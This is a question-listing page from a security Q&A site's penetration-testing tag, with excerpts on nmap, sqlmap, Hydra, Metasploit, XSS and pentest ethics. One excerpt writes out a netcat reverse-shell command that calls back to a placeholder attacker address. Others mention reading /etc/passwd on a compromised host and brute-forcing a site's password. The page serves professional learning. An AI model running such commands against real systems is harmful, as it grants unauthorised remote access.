An attempt to penetrate a system's security in an effort to evaluate the protections in place.

learn more… | top users | synonyms (2)

1
vote
1answer
1k views

Nessus No host data is available for this scan error

I encountered an error in Nessus result. Error: No host data is available for this scan. I want to scan ip 192.16x.x.x at Nessus.I scan this ip with nmap.Only 2 tcp port is open in this ip ...
1
vote
3answers
221 views

What is best method for retest blind sql vulnerability

I tested web site application with commercial automated tool.There are some blind sql injection.I want to retest this results .Is there any good method for test blind sql injection with tool or ...
0
votes
1answer
420 views

Import nmap scan results into OpenVAS

I have recently been introduced to OpenVAS for scanning our network at work. I am familiar with nmap, and I am happy with it's performance when used stand-alone from the cli, through iptraf I can see ...
0
votes
3answers
205 views

How to retrieve the admin's password of a webapp?

I'm doing a pentesting example on a web app and I have dumped all the database. I have a table with the users in plaintext and the passwords hashed. I have to find the admin's password (I know that ...
1
vote
2answers
175 views

How do arbitrary payloads execute on the remote machine?

I understand executing something like a reverse TCP bind via shell relies on resources being available on the victim machine... and in the case of running a, shall we say, Ruby script from the command ...
2
votes
3answers
584 views

Verifying NLA support on Remote Desktop

What is the best way to verify if an MSRDP server has NLA enabled or not? My understand is that if enabled, it will not show a graphical screen when trying to connect, but ask for credentials first. ...
2
votes
1answer
206 views

Pentest — handling multiple reverse shells

I'm running a pentest and im expecting reverse shells from multiple shells connecting back as :- nc <my-ip> <my-port> -e /bin/bash However, I'm trying to figure out the best way to ...
1
vote
1answer
2k views

Force a specific SSL cipher

Is there a tool or browser addon that will allow you to connect to a HTTPS website using a specific SSL cipher, and view the output? This would be useful when doing a vulnerability analysis and ...
0
votes
1answer
564 views

Using timeouts to automatically detect blind sql injection exploits

I'm working on a penetration testing tool, and I have error-based sql injection pretty much covered, but I was wondering, is it possible to use timeouts, along with built in sql commands to detect an ...
5
votes
3answers
476 views

What is a pen tester?

I asked two pen testers what exactly it is that they do. One of them has told me that all he ever does is try to find exploits in the software in order to gain access to internal servers and nothing ...
0
votes
1answer
819 views

Hydra gives wrong answers

Problem: Hydra keeps giving me incorrect passwords every time. I'm using brute-force via Hydra to guess the correct password on a certain website. First of all I used BurpSuite to intercept the page ...
2
votes
1answer
170 views

Pentesting Cleanup

I've recently discovered a backdoor shell that was created via file injection on a public facing website. After much digging, I found the creation date of this file to be around the same time ...
3
votes
2answers
292 views

Determing live hosts past a restrictive firewall with nmap

Sometimes when I am doing an external security assesment, I run into hosts that have the following restrictions/configuration: All ICMP traffic is blocked An IDS or some device returns all ports as ...
2
votes
0answers
204 views

How do I convert from this weird John/Asleap format to lc (for HashCat)?

I'm trying to setup a system for pen-testing. I'm using the FreeRadius-WPE patch to collect Challenges/Requests from people who connect to my spoofed AP instead of the actual network. Here is the ...
2
votes
3answers
670 views

Self-teach pentesting/CEH skills ethically

I am a Software Engineer currently and have done quite a bit of systems work as well. I love the idea of Penetration Testing and would love to work towards becoming a pentester/Certified Ethical ...
-3
votes
2answers
21k views

backtrack or kali linux ??? Which is best for a beginner pen tester ? [closed]

I am using backtrack right now but i also wish to switch to kali linux if its more interactive. Because i am just a beginner pen tester. I tried with both bt4 and bt5, but novice in kali linux.
0
votes
4answers
929 views

How can I test that I have correctly disabled unnecessary HTTP methods?

I am making a web-based application and I disabled some of the HTTP methods which are not necessary for the website (specifically, OPTIONS, HEAD and TRACE). I put this in the httpd.conf of my xampp ...
2
votes
5answers
1k views

Nmap reporting almost every port as open

I have noticed during some assesments when doing a TCP port scan, Nmap will report almost every port as open for a machine. Using for example nmap -sS -PN -T4 target -p0-65535, over 20,000 ports will ...
0
votes
2answers
577 views

Determining false positives when scanning for live hosts with Nmap

When doing a vulnerability assessment on a large network, it seems general practice to determine which hosts on the network are live. This can be done in various ways. From what I have read it is ...
-2
votes
1answer
61 views

Should I do science of computing or systems analyst? [closed]

I want to become a federal analyst of cyber crimes and I dont't know what's the right university course for me, I would like to know what's the cons and pros of choosing one or another course and ...
0
votes
5answers
4k views

Can I use Kali Linux when I learn Backtrack well?

I'm new to security issues and I'm almost buying a course at ELearningSec(begginners course,of course), I will in a company and want to learn about offensive and defensive skills to improve the ...
15
votes
7answers
2k views

Why don't banks get hacked?

From reading a lot of info on this website I came to the conclusion that if someone with enough skill really badly wants to gain access somewhere, then there is absolutely nothing stopping them from ...
9
votes
2answers
716 views

Black-box fuzzing a TCP Port running an unknown applicaiton

I'm looking for any guidance around testing a service I've found running on a target server. I'm doing a 'black-box' pen-test and the company is one of those 'I-don't-want-to-tell-you-anything' types ...
5
votes
2answers
139 views

How to manage pen testing byproducts?

Often when doing a pen test you need to hammer certain parts of the site that might be visible to other users. If, for example, you suspect that a comment section is vulnerable to XSS, you might ...
2
votes
1answer
116 views

Helping developers find logic and authorisation flaws

Professional penetration testers are usually good at finding all sorts of vulnerabilities, including logic flaws, that are highly-specific to the site being tested. However, being a manual activity, ...
2
votes
1answer
1k views

How to use sqlmap to perform SQL injection on a clean URL?

I am learning to use sqlmap and came across an application that has Clean URLs. Clean URL example //my url.net/project/public/#questions/question/edit/id/122/answer/1, here MVC framework is used. ...
1
vote
1answer
218 views

Reflected XSS - Automatic understanding of filters

I'm currently facing this possible reflected XSS vulnerability on a webapp: URL = http://www.test.com/login/?login=[PAYLOAD] When a user clicks on this link, it displays a login page that includes ...
1
vote
3answers
299 views

Pentesting my Own Server File Upload

I recently created my own IIS server (set on version 7.5) and I was going through checks to make sure my webdav is not vulnerable. My users need to upload files to their individual accounts and can ...
1
vote
1answer
101 views

Setting expectations of a vulnerability assessment?

Is it reasonable to refuse to guarantee that you will find 100% of security issues when doing a vulnerability assessment on a website? Even with companies like Google that have teams of security ...
-1
votes
1answer
105 views

Free Alternatives in Web-Application Mapping Software [closed]

Im new to hacking, i have reached a chapter in my book "the web applications hackers handbook" where im about to start bypassing client-side and actually attacking different technologies well before ...
3
votes
1answer
1k views

Why does MYSQL's LOAD FILE only read some files and not others?

As part of an assessment I'm using mysql to poke around at a compromised hosts' filesystem. As I seemed to remember from the last time I played with it, some files can be read (eg. /etc/passwd) and ...
2
votes
2answers
1k views

Is it practically possible to spoof a WLAN access point?

I want to try something out, but I wanted to see other opinions from you guys. What I have: WLAN Access point, with WPA2, ESSID: testing. Home router, I can change the configuration and everything ...
-1
votes
3answers
1k views

Issues setting up DVWA for SQLMAP [closed]

I am starting on sqlmap, and have dvwa for practicing web app penetration. I am having the error "Could not connect to the database - please check the config file." Not sure what the problem is but ...
1
vote
3answers
153 views

Reading to Decide on a career switch [duplicate]

I have a strategy consulting and sales background, but what I read about IT and IT Security sounds fascinating as an outsider. I'm considering a career switch, but would need to know quite a bit more. ...
1
vote
3answers
416 views

How does SSL protect against network level attacks on integity?

I would like to know if there is any way to demonstrate how an attacker may attack the integrity of a website due to an unencrypted connection and how SSL will avoid this. For the aspect of ...
1
vote
0answers
2k views

Linux Hydra issue - random correct password success

I have an issue with Hydra when i use it. First let me inform that, i read multible guides, tries the excact same command lines as in guides directly supported by the Damn Vulnerable Web Application ...
4
votes
3answers
164 views

Is it reasonable to do a pentest (or other non-theoric security audit) over a critical infrastructure?

Almost all agree that during a pentest it is impossible to guarantee the integrity of the target (Is it acceptable that a skilled professional pentester deletes or modifies sensitive data in ...
2
votes
1answer
413 views

Does Metasploit's packet sniffing run in promiscuous mode?

I'm doing an educational pen test exercise and I'm trying to sniff traffic from a compromised Windows machine. I've been using the post-exploitation sniffer and packetrecorder Meterpreter modules, ...
7
votes
2answers
486 views

How to attract hackers?

I'm contributing to an open source project and we setup a testbed for security testing. We want to start a challenge to find security flaws and my question is: how do we attract hackers to ...
3
votes
1answer
138 views

Site Executing control characters in title tag

I am currently pentesting a site for a client of mine and I found a very strange 'bug'. They have a search box on the home page which if I enter te\tst and hit search, it redirects to the search ...
-1
votes
2answers
323 views

smartphone pentest framework [closed]

I have done some searching around Google to find out if there are any penetration testing frameworks like metasploit on Backtrack for computers and its applications Can any one help me to find such ...
1
vote
1answer
315 views

WAF testing frameworks

How to test the effectiveness of a Web Application Firewall (WAF), or any other security control that is put in place to protect the web application from being attacked? Currently, what are the ...
-2
votes
1answer
458 views

ESAPI: Input and output validation [closed]

I am new to IT Security and I have been tasked with coming up with input and output validation for ESAPI. So for input validation, so far I got: Data Type Name Email ...
-7
votes
1answer
611 views

What are the vulnerabilities on port 23? [closed]

I'm working on a pen-testing project and still in the beginning but I faced a switch with only 80 & 23 ports opened. How can I use these ports to attack that switch ?
0
votes
2answers
95 views

Getting in to the security side of things

Im a current student going for my Bachelors in Network Administration and would like to get in to the security side of things. I have my Network+, Security+ as well as the A+ and a MCTS. I currently ...
98
votes
7answers
5k views

Is it acceptable that a skilled professional pentester deletes or modifies sensitive data in production unintentionally during a pentest?

Today I experienced a situation where a person responsible for the security of a company required a pentesting company to withdraw a clause in the contract that says that: "during the pentest there ...
3
votes
1answer
847 views

Metasploit Get Shell Through NAT

Ok first of all this is legal and I have it in writing my friend and I are attacking eachother to get better and not break the law. Setup I have a VMWare image running BT5R3. It uses VMWare's NAT ...
4
votes
3answers
298 views

Is it necessary to test all input parameters of a web application when testing its security?

We know that testing input parameters for lack of validation is one part of a black box web vulnerability assessment but, is it necessary to test ALL input parameters (parameters, cookies, HTTP ...
2
votes
3answers
512 views

How to determine the size of payloads available in MetaSploit

I've noticed that there are a lot of different payloads to choose from in MetaSploit, and the choice (assuming there's enough room in the target) usually depends on what you're trying to do. However, ...
2
votes
2answers
1k views

Sqlmap and multipart/form-data forms

I'm working on some security for a website that is built in classic ASP and MS SQL 2000. I've successfully found a couple of flawed forms that allowed SQL injections through the form fields by using ...